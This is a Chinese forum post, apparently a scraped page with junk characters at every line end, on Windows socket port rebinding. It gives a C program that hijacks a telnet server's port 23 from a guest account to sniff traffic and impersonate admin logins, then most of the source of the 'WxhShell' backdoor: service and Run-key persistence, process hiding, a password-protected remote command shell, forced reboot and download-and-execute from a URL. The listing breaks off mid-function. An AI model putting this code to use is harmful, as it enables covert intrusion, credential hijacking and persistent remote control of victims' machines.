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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y$3;$ R^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dJv!Dts')C  
Qj3a_p$)P  
  saddr.sin_family = AF_INET; ,ZQZ}`x(  
<BO)E(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !r`,=jK"  
1Nu1BLPm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uZZU{U9h  
7},)]da>,'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w=|GJ 0  
*=fr8  
  这意味着什么?意味着可以进行如下的攻击: R/^u/~<  
`+t.!tv!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 l~D N1z6`  
>6oOZbUY0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |A%<Z(  
:QWq"cBem  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `)qVF,Z}  
JT9N!CGZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?88`fJ@tk?  
0<PR+Iv*i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }<z_Q_b+e  
q %0Cg=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 hky;CD~$  
S!PzLTc  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +dBz`W D  
LTJc,3\,  
  #include % aUsOB-RV  
  #include >HPdzLY?  
  #include H'MJ{r0,  
  #include    `xiCm':  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \m=?xb8 f  
  int main() Z_gC&7+  
  { `MEYd U1  
  WORD wVersionRequested; 8?*RIA.a  
  DWORD ret; &20P,8@  
  WSADATA wsaData; N)S!7%ne  
  BOOL val; 341?0 %=  
  SOCKADDR_IN saddr; _/S?#   
  SOCKADDR_IN scaddr; K^rIG6  
  int err; ,Rx{yf]k  
  SOCKET s; ?0_7?yTR/  
  SOCKET sc; .bVmqR`  
  int caddsize; 'xv8Gwf"  
  HANDLE mt; kAM1TWbaVQ  
  DWORD tid;   <`!PCuR  
  wVersionRequested = MAKEWORD( 2, 2 ); Qm8) 4?FZ  
  err = WSAStartup( wVersionRequested, &wsaData ); LkLN7|  
  if ( err != 0 ) { - }!H3]tr  
  printf("error!WSAStartup failed!\n"); =`Y.=RL+'n  
  return -1; Y~)T  
  } ^uS/r#l  
  saddr.sin_family = AF_INET; OG3/-K8R  
   W$qd/'%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DFO7uw1  
NZN-^ >  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^v9|%^ug  
  saddr.sin_port = htons(23); YpUp@/"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $T<}y_nHl  
  { 5efxEt>U  
  printf("error!socket failed!\n"); g(O;{Q_  
  return -1; ;WT{|z  
  } -Q;#sJ?  
  val = TRUE; +>7$4`Nb2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hF3&i=;.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) j5 Un1  
  { (-NHx o  
  printf("error!setsockopt failed!\n"); )' xETA  
  return -1; ;eigOU]  
  } eQO#Qso]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .$", *d  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x'Pi5NRE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 JaWv]@9*  
Gg\G'QU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XT,#g-oi  
  { u@p?  
  ret=GetLastError(); )'Wb&A'  
  printf("error!bind failed!\n"); 4$,,Ppn  
  return -1; qQxz(}REu9  
  } %~j2 ('Y  
  listen(s,2); .[DthEF  
  while(1) a;$P:C{gj?  
  { &V7>1kD3  
  caddsize = sizeof(scaddr); *QM~O'WhD  
  //接受连接请求 dSIH9D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U,1AfzlF  
  if(sc!=INVALID_SOCKET) HNa]H;-+5  
  { NYABmI/0c  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ig0u^BC  
  if(mt==NULL) Q36)7=at  
  { iA!7E;o  
  printf("Thread Creat Failed!\n"); :L0/V~D  
  break; Lc<eRVNd,  
  } ]%RNA:(F'  
  } P&*sB%B  
  CloseHandle(mt); -{|`H[nmD  
  } %;z((3F  
  closesocket(s); %HtuR2#ca  
  WSACleanup(); 6Ggs JU  
  return 0; #$\fh;!W  
  }   :f'&z47  
  DWORD WINAPI ClientThread(LPVOID lpParam) {OT:3SS7  
  { j1Yq5`ia  
  SOCKET ss = (SOCKET)lpParam; 7.<^j[?  
  SOCKET sc; ;]CVb`d  
  unsigned char buf[4096]; 4ZT A>   
  SOCKADDR_IN saddr; y?30_#[dN  
  long num; <Y'>F!?#  
  DWORD val; (I{ $kB"p  
  DWORD ret; SQE[m9v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ly4Qg\l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0"xPX#Cvj  
  saddr.sin_family = AF_INET; rFJ[dz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Snf"z8sw  
  saddr.sin_port = htons(23); ID};<[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S"snB/  
  { TTI81:fku  
  printf("error!socket failed!\n"); =OTm2:j#yQ  
  return -1; 77gysd\(  
  } xPmN},i'R$  
  val = 100; }0=<6\+:`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lm'Zy"~::  
  { z&nZ<ih  
  ret = GetLastError(); `GQ{*_-  
  return -1; RE46k`44  
  } *QE<zt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z& !!]"I  
  { j?(!^ _!m  
  ret = GetLastError(); sCH)gr@gJ^  
  return -1; v.Ogf 5  
  } H D/5!d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) FQeYx-7  
  { Sn3:x5H,l  
  printf("error!socket connect failed!\n"); j!#O G  
  closesocket(sc); 7CvD'QW /  
  closesocket(ss); 83 ]PA<R  
  return -1; "c`xH@D  
  } xc'vS>&  
  while(1) 1 H4fJ3-  
  { h.tY 'F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q]JX`HgPaU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o96:4j4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?Z %:  
  num = recv(ss,buf,4096,0); <"&'>?8j  
  if(num>0) eE:&qy^  
  send(sc,buf,num,0); LhJa)jFQ  
  else if(num==0) aSaAC7sFk  
  break; u@ N~1@RT|  
  num = recv(sc,buf,4096,0); ysXx%k  
  if(num>0) B0mLI%B  
  send(ss,buf,num,0); "HQF.#\#  
  else if(num==0) Yx?aC!5M  
  break; CyM}Hc&w  
  } Ya4?{2h@+  
  closesocket(ss);  7 Yv!N  
  closesocket(sc); mv Ov<x;l  
  return 0 ; ~I_owCVZ  
  } EZr6oO@Nc  
9q4_j  
E)YVfM  
========================================================== !G=>ve  
o<VP'F{p  
下边附上一个代码,,WXhSHELL !Rw&DFU  
8:g!w:$x  
========================================================== 6* rcR]  
)&1!xF   
#include "stdafx.h" delf ]  
L`K;IV%;  
#include <stdio.h> VQ |^   
#include <string.h> M'jXve(=yF  
#include <windows.h> Q</h-skLZ  
#include <winsock2.h> T |"`8mG  
#include <winsvc.h> r?p{L F  
#include <urlmon.h> 9Vh_[^bR  
.)PqN s:  
#pragma comment (lib, "Ws2_32.lib") CvTwBJy1  
#pragma comment (lib, "urlmon.lib") e6P[c=m #  
Rl@$xP  
#define MAX_USER   100 // 最大客户端连接数 snMQ"ju  
#define BUF_SOCK   200 // sock buffer +l\<?  
#define KEY_BUFF   255 // 输入 buffer T1~)^qQ  
"n- pl  
#define REBOOT     0   // 重启 >A jCl  
#define SHUTDOWN   1   // 关机 >!BFt$sd  
TgaYt\"i[  
#define DEF_PORT   5000 // 监听端口 <f%/px%1  
RV!<?[  
#define REG_LEN     16   // 注册表键长度 -0|K,k  
#define SVC_LEN     80   // NT服务名长度 R^{xwI  
cC6z,0`3  
// 从dll定义API }:#dV B+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0\ f-z6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o~~9!\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \graMu}-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  5H.Db  
t.=Oj  
// wxhshell配置信息 mTjm92  
struct WSCFG { b(T@~P/  
  int ws_port;         // 监听端口 #<#%>Y^  
  char ws_passstr[REG_LEN]; // 口令 ZgF/;8!~V-  
  int ws_autoins;       // 安装标记, 1=yes 0=no 76MsrOv55  
  char ws_regname[REG_LEN]; // 注册表键名 j+>Q#&h9  
  char ws_svcname[REG_LEN]; // 服务名 LZV}U*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YBylyVZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &va*IR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (+MC<J/i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f)Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A'g,:8Ou  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #]zhZW4  
W8* 2;F]  
}; BJIQ zn3  
0zV 4`y  
// default Wxhshell configuration |cu`f{E2]  
struct WSCFG wscfg={DEF_PORT, wgZrrq/W|  
    "xuhuanlingzhe", 5; f\0<-  
    1, NhDA7z`b'J  
    "Wxhshell", 4K,''7N3  
    "Wxhshell", [$:@X V(  
            "WxhShell Service", ,>S+-L8  
    "Wrsky Windows CmdShell Service", b;{h?xc6  
    "Please Input Your Password: ", oc;VIK)g]c  
  1, d Uz<1^L  
  "http://www.wrsky.com/wxhshell.exe", uGCtLA+sL  
  "Wxhshell.exe" F@<MT<TRf  
    }; 5&(3A|P2  
,i![QXZ  
// 消息定义模块 Z:^3Fm->+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^srs$ w]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mdm0g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >)sqh ~P  
char *msg_ws_ext="\n\rExit."; |8'B/ p=  
char *msg_ws_end="\n\rQuit."; u_Zm1*'?B  
char *msg_ws_boot="\n\rReboot..."; T/Q==Q{W:  
char *msg_ws_poff="\n\rShutdown..."; "G kI5!  
char *msg_ws_down="\n\rSave to "; 9fCO7AE0#  
"OJr*B  
char *msg_ws_err="\n\rErr!"; =M7PvH'"  
char *msg_ws_ok="\n\rOK!"; Y eO-gY [b  
#^; s<YZ`  
char ExeFile[MAX_PATH]; MLeX;He  
int nUser = 0; ;_p fwa4  
HANDLE handles[MAX_USER]; \CwtX(6.  
int OsIsNt; %O_t`wz  
*o 2#eI  
SERVICE_STATUS       serviceStatus; -fQX4'3R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *I/A,#4r  
gPp(e j7  
// 函数声明 fO+U HSC  
int Install(void); qAORWc  
int Uninstall(void); ,5kvn   
int DownloadFile(char *sURL, SOCKET wsh); xv&S[=Dt  
int Boot(int flag); oB}K[3uB:t  
void HideProc(void); Un\Ubqi0  
int GetOsVer(void); \gP. \  
int Wxhshell(SOCKET wsl); /pU|ZA.z'2  
void TalkWithClient(void *cs); d}VALjXHX!  
int CmdShell(SOCKET sock); t .L4%1OF  
int StartFromService(void); |Z!@'YB  
int StartWxhshell(LPSTR lpCmdLine); :@;6  
uZ<%kV1B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); , | <jjq)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); soxfk+ 9  
6~3jn+K$1  
// 数据结构和表定义 H.9yT\f.  
SERVICE_TABLE_ENTRY DispatchTable[] = }M?|,N6  
{ "Whwc   
{wscfg.ws_svcname, NTServiceMain}, ~R$[n.Vpk  
{NULL, NULL} <H-tZDh5  
}; YPG,9iZ&f  
ZGzc"r(r:#  
// 自我安装 Vp\80D&  
int Install(void) oL)lyUVT  
{ =kF? _KN  
  char svExeFile[MAX_PATH]; lh~<s2[R2  
  HKEY key; ^+URv  
  strcpy(svExeFile,ExeFile); b.@H1L  
f!EOYowW  
// 如果是win9x系统,修改注册表设为自启动 >^ ;(c4C  
if(!OsIsNt) { /!-J53K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Q+\h>I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A ^-Z)0 :  
  RegCloseKey(key); yW{mK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m}rh|x/?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X;(oz]tr$  
  RegCloseKey(key); G~`'E&/  
  return 0; U-1VnX9m  
    }  c,.0d  
  } l$=Gvb  
} prqT(1  
else { yr%yy+(.k  
JR!Q,7S2!N  
// 如果是NT以上系统,安装为系统服务 A0UV+ -PP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5d%_Wb'  
if (schSCManager!=0) 8B_0!U& ]  
{ y~x#pC*w  
  SC_HANDLE schService = CreateService |1lf(\T_  
  ( 87+.pM|t%  
  schSCManager, F:M/z#:~  
  wscfg.ws_svcname, n$IWoIdbGN  
  wscfg.ws_svcdisp, *&h6*zP?  
  SERVICE_ALL_ACCESS, HE@-uh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $]nVr(OZ_  
  SERVICE_AUTO_START, avmcGyL  
  SERVICE_ERROR_NORMAL, ]&' jP  
  svExeFile, O(WEgz  
  NULL, mn(/E/  
  NULL, FLK"|*A  
  NULL, ?ISI[hoc  
  NULL, Z(l9>A7!  
  NULL H]VsOr  
  ); fYb KmB  
  if (schService!=0) <=$rU232}  
  { $^] 9  
  CloseServiceHandle(schService); VtD@&N  
  CloseServiceHandle(schSCManager); tN[St  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K<RmaXZ  
  strcat(svExeFile,wscfg.ws_svcname); 0BT;"B1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nz3zsP$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sWp{Y.  
  RegCloseKey(key); G% o7BX  
  return 0; H]Y#pL u|  
    } i<'{Y  
  } t) ;   
  CloseServiceHandle(schSCManager); |GJBwrL^0  
} PG\\V$}A(  
} 'uws  
,\BfmC_i  
return 1; )lQN)! .)  
} 0T7M_G'5Q  
Xs{/}wc.q;  
// 自我卸载 +dDJes!]  
int Uninstall(void) qK<aZ%V  
{ FrgW7`s[A  
  HKEY key; mipi]*ZfXE  
@QvfN>T  
if(!OsIsNt) { "ugX /r$_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5JO[+>  
  RegDeleteValue(key,wscfg.ws_regname); zC<'fT/rG  
  RegCloseKey(key); M|1eqR%x-?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N5[_a/  
  RegDeleteValue(key,wscfg.ws_regname); &*X3c h  
  RegCloseKey(key); (PRaiE  
  return 0; s4!|v`+$M  
  } H?rSP0.  
} 7yo|ie@S  
} 1-4   
else { e_YW~z=6t  
]R97n|s_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J& 1X  
if (schSCManager!=0) \/? ! 6~  
{ sZ0g99eX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _JfJ%YXy  
  if (schService!=0) l*~"5f03  
  { =4YbVA+(  
  if(DeleteService(schService)!=0) { j:3A;r\  
  CloseServiceHandle(schService); _Cu[s?,kS  
  CloseServiceHandle(schSCManager); OI)&vQ5k  
  return 0; <1ztj#B  
  } !O 0ZD4/{4  
  CloseServiceHandle(schService); "r5'lQI  
  } [{hLF9yPx  
  CloseServiceHandle(schSCManager); 6^7)GCq [  
} U'JP1\  
} m~Lf^gbG?  
VZU Zngw  
return 1; ,\.YJD>z  
} F2Nb5WT  
:6\-9m8JM  
// 从指定url下载文件 1C^HCIH7J  
int DownloadFile(char *sURL, SOCKET wsh) O JZ!|J8?  
{ pkrl@ jv >  
  HRESULT hr; e_fg s>o`(  
char seps[]= "/"; },?-$eyX  
char *token; 7H8GkuO  
char *file; 44Seq  
char myURL[MAX_PATH]; P^'>dOI0w  
char myFILE[MAX_PATH]; 9+WY@du+  
*Y| lO  
strcpy(myURL,sURL); 34&u]4=L)  
  token=strtok(myURL,seps); #o(?g-3  
  while(token!=NULL) *!-}lc^4  
  { fJSV)\e0  
    file=token; (.jO:#eE%  
  token=strtok(NULL,seps); ?^e*UJNM  
  }  e B9m4  
;XD>$t@  
GetCurrentDirectory(MAX_PATH,myFILE); IqR[&T)lj  
strcat(myFILE, "\\"); O3sla bE#  
strcat(myFILE, file); xEd#~`Jmr  
  send(wsh,myFILE,strlen(myFILE),0); 2dp*>F0L  
send(wsh,"...",3,0); jgZX ~D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I1eb31<  
  if(hr==S_OK) hr/xpQW  
return 0; mI _ 6f~  
else B1 jH.(  
return 1; +iZ@.LI  
`Z;B^Y0  
} pn ~/!y  
cG~_EX$  
// 系统电源模块 zWKrt.Dg  
int Boot(int flag) fzPgX  
{ M8 ^ziZY  
  HANDLE hToken; S[\cT:{OE  
  TOKEN_PRIVILEGES tkp; 8ESkG  
_BeX7  
  if(OsIsNt) { gn;nS{A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,=XS%g}l4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z.cG`Km*  
    tkp.PrivilegeCount = 1; 3!ajvSOI9j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bOnukbJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j,gM+4V^  
if(flag==REBOOT) { DcFV^8O&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .q'FSEkMJ  
  return 0; h:US]ZC^Z  
} 6 ^6uK  
else { cSHtl<UY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B<|q{D$N/  
  return 0; l1`c?Y  
} JY;#]'T\;  
  } 6832N3=  
  else { u:{. Hn`  
if(flag==REBOOT) {   t`&s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) unbcz{&Hb[  
  return 0; Ay[9k=q]  
} [\ w>{  
else { `qYc#_ELv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xr1I8 5kM  
  return 0; Si%Eimiq  
} Fr E/K_L  
} i >/@]2  
st1M.}  
return 1; ;#Crh}~  
} $7k04e@ ]  
QVA!z##  
// win9x进程隐藏模块 HjE Tinm"  
void HideProc(void) }!J/ 9WKgU  
{ |~T+f&   
w-q=.RSTn=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aV92.Z_Ku  
  if ( hKernel != NULL ) 'E4(!H,k  
  { \ [hrG?A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #f jX|b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F0o18k_"  
    FreeLibrary(hKernel); Ov{B-zCA  
  } J3!k*"P  
f|HgLFx  
return; 8mQd*GGu1  
} mSvTnd8  
EZu  
// 获取操作系统版本 "}azC|:5  
int GetOsVer(void) R}=]UOqH-  
{ n$\6}\k  
  OSVERSIONINFO winfo; KcMzZ!d7m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lh5+fk~i~8  
  GetVersionEx(&winfo); RAXJsF^5o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qgY(S}V  
  return 1; _|2";.1E  
  else lf7H8k,-  
  return 0; rO2PbF3  
} fe]T9EDA  
r%?}5"*  
// 客户端句柄模块 9"l%tq_  
int Wxhshell(SOCKET wsl) 70 D Q/b  
{ G#=b6DB  
  SOCKET wsh; S3[oA&  
  struct sockaddr_in client; L:];[xa%  
  DWORD myID; hF?\K^tF  
Q0oDl8~  
  while(nUser<MAX_USER) ZB h@%A  
{ 'XjHB!!hU  
  int nSize=sizeof(client); l>Oe ,`9O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PeR<FSF ,i  
  if(wsh==INVALID_SOCKET) return 1; }Q,C;!'"  
r|sy_Sk/{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <MDFf nj  
if(handles[nUser]==0) c9TkIe  
  closesocket(wsh); >5YYij5Aj  
else s!zr>N"  
  nUser++; @zpHem dB  
  } m0K2p~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); uc `rt"  
vcUM]m8k   
  return 0; -1Ki7|0,  
} z@40 g)R2A  
RI].LB_  
// 关闭 socket Tr+Y@]"  
void CloseIt(SOCKET wsh) os0"haOI9h  
{ 'G By^hj?  
closesocket(wsh); vskM;  
nUser--; O"w_sw  
ExitThread(0); MDXQj5s^  
} enO=-#  
Vf* B1Zb  
// 客户端请求句柄 ]4pC\0c  
void TalkWithClient(void *cs) Y K62#;  
{ kKTED1MW&W  
r4qV}-E  
  SOCKET wsh=(SOCKET)cs; ^*T{-U'  
  char pwd[SVC_LEN]; B=qRZA!DQ?  
  char cmd[KEY_BUFF]; AF nl t  
char chr[1]; w+ )GM  
int i,j; [}B{e=`!  
{`SGB;ho  
  while (nUser < MAX_USER) { S+=@d\S}"  
D"><S<C\C  
if(wscfg.ws_passstr) { &rE l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X\:(8C;+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {d5ur@G1  
  //ZeroMemory(pwd,KEY_BUFF); `rFGSq$9  
      i=0; bqLYF[#T  
  while(i<SVC_LEN) { qQ\hUii  
}z%/6`7)|  
  // 设置超时 TEy.zzt  
  fd_set FdRead; k-p7Y@`+a  
  struct timeval TimeOut; ]0nC;|]@Lx  
  FD_ZERO(&FdRead); H5rNLfw '  
  FD_SET(wsh,&FdRead); +R jD\6bJb  
  TimeOut.tv_sec=8; 6O?Sr,  
  TimeOut.tv_usec=0; UEb'E;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [}Yci:P_ +  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j;c ^pLUP  
Q14;G<l-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I.0Usa"z  
  pwd=chr[0]; q>h+Ke  
  if(chr[0]==0xd || chr[0]==0xa) { 1+[|pXT}  
  pwd=0; 3B]+]e~  
  break; Bc` A]U  
  } WN?`Od:y  
  i++; \%Ih 6  
    } [IX!3I[J]  
{ca^yHgGy  
  // 如果是非法用户,关闭 socket o".O#^3H%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9S`b7U=P  
} x6mq['_  
g0 U\AN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X_yU"U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :BiR6>1:  
ymJw{&^am  
while(1) { Cl){sP=8W  
Yl3PZ*#@ Q  
  ZeroMemory(cmd,KEY_BUFF); CF 0IP  
/-9+(  
      // 自动支持客户端 telnet标准   'wHkE/ 83  
  j=0; {}2p1-(  
  while(j<KEY_BUFF) { k:yu2dQh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S~`AnX3!  
  cmd[j]=chr[0]; mAERZ<I  
  if(chr[0]==0xa || chr[0]==0xd) { T[II;[EiE  
  cmd[j]=0; :9< r(22  
  break; <J uJ`t  
  } 3S21DC@Y  
  j++; Q>Q}/{8!  
    } "uNxKLDB  
^qy-el  
  // 下载文件 _A~gqOe  
  if(strstr(cmd,"http://")) { \r&@3a.>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nFn`>kQ  
  if(DownloadFile(cmd,wsh)) g#&##f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {:j!@w3  
  else d|HM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f@X*Tlx^|  
  } QxL FN(d  
  else { =C}<0<"iF  
lBC-G*#  
    switch(cmd[0]) { zIm!8a  
  tOVm~C,R  
  // 帮助 0(6`dr_  
  case '?': { gx.]4 v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lt"*y.%@b  
    break; [l{eJ /W  
  } fN>|X\-  
  // 安装 C\h<02  
  case 'i': { )}lV41u  
    if(Install()) Gi2Ey37]O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 55en D  
    else a-hGpYJJG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *a.*Ha  
    break; WHT%m|yn  
    } \C.@ @4{  
  // 卸载 n[-!Jp[  
  case 'r': { &g {_.n,  
    if(Uninstall()) W.<<azi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _QCI< |A  
    else (`*wiu+i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0_.hU^fP  
    break; t fQq3#  
    } |`/uS;O  
  // 显示 wxhshell 所在路径 m^+ ~pC5  
  case 'p': { YtQWArX,  
    char svExeFile[MAX_PATH]; N$b;8F  
    strcpy(svExeFile,"\n\r"); k,(_R=  
      strcat(svExeFile,ExeFile); 2"^9t1C2  
        send(wsh,svExeFile,strlen(svExeFile),0); k"c_x*f  
    break; 1MSu ]) W  
    } &d;$k  
  // 重启 y?hW#l~#X  
  case 'b': { v Rs5-T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m$g^On  
    if(Boot(REBOOT)) C_)>VPD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ZdNPcT<s  
    else {  K>eG5tt  
    closesocket(wsh); c,ek]dTj  
    ExitThread(0); O,v$'r W  
    } *5)!y d  
    break; >$F]Ss)$  
    } ]vErF=[U,  
  // 关机 RkM!BcB  
  case 'd': { b>WT-.b0  
